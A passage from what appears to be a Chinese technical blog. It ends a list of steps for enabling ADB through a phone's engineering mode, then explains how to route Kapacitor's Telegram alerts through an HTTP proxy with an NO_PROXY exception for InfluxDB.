  2. 拔掉 USB 连接线,注意必须先拔线,操作前不要联电脑
  3. *#*#2846579#*#*进入工程模式
  4. 选择“1.后台设置”->“2.USB端口设置”->“生产模式”
  5. 进入之前已经开启过的开发者选项界面备用
  6. 插上 USB 线,选仅充电,打开 adb
  7. 在弹出窗口中进行授权。注意这个弹窗很坑,如果你当前不是停留在开发者选项的页面,那么不会弹窗

如果这样操作还是打不开的话,拔掉线重来一次。千万注意操作顺序!

Kapacitor 使用 Proxy 连接小电报 API

由于众所周知的原因,小电报的 Bot API 在某些地方是完全无法访问的。

那么,这导致我们最好用,最快捷的告警方式被掐死了。

于是研究了一下,发现官方有一个回复:

https://community.influxdata.com/t/how-to-set-proxy-for-telegram-and-smtp/3250

The Kapacitor 你懂的 agent uses the golang HTTP client, so you can set that with the environment variables $http_proxy (or $https_proxy). As for SMTP, we don’t currently have logic in place for that, but that sounds like a great feature request.

于是加入环境变量,结果发现一个新问题。由于 Kapacitor 与 InfluxDB 之间的连接也是 HTTP 的,导致 InfluxDB 也走了代理,反而导致不通了。于是再次尝试,发现可以使用 NO_PROXY 变量,最终结果如下:

HTTP_PROXY=http://x.x.x.x:xxxx
HTTPS_PROXY=http://x.x.x.x:xxxx
NO_PROXY=influxdb.xxx.xxx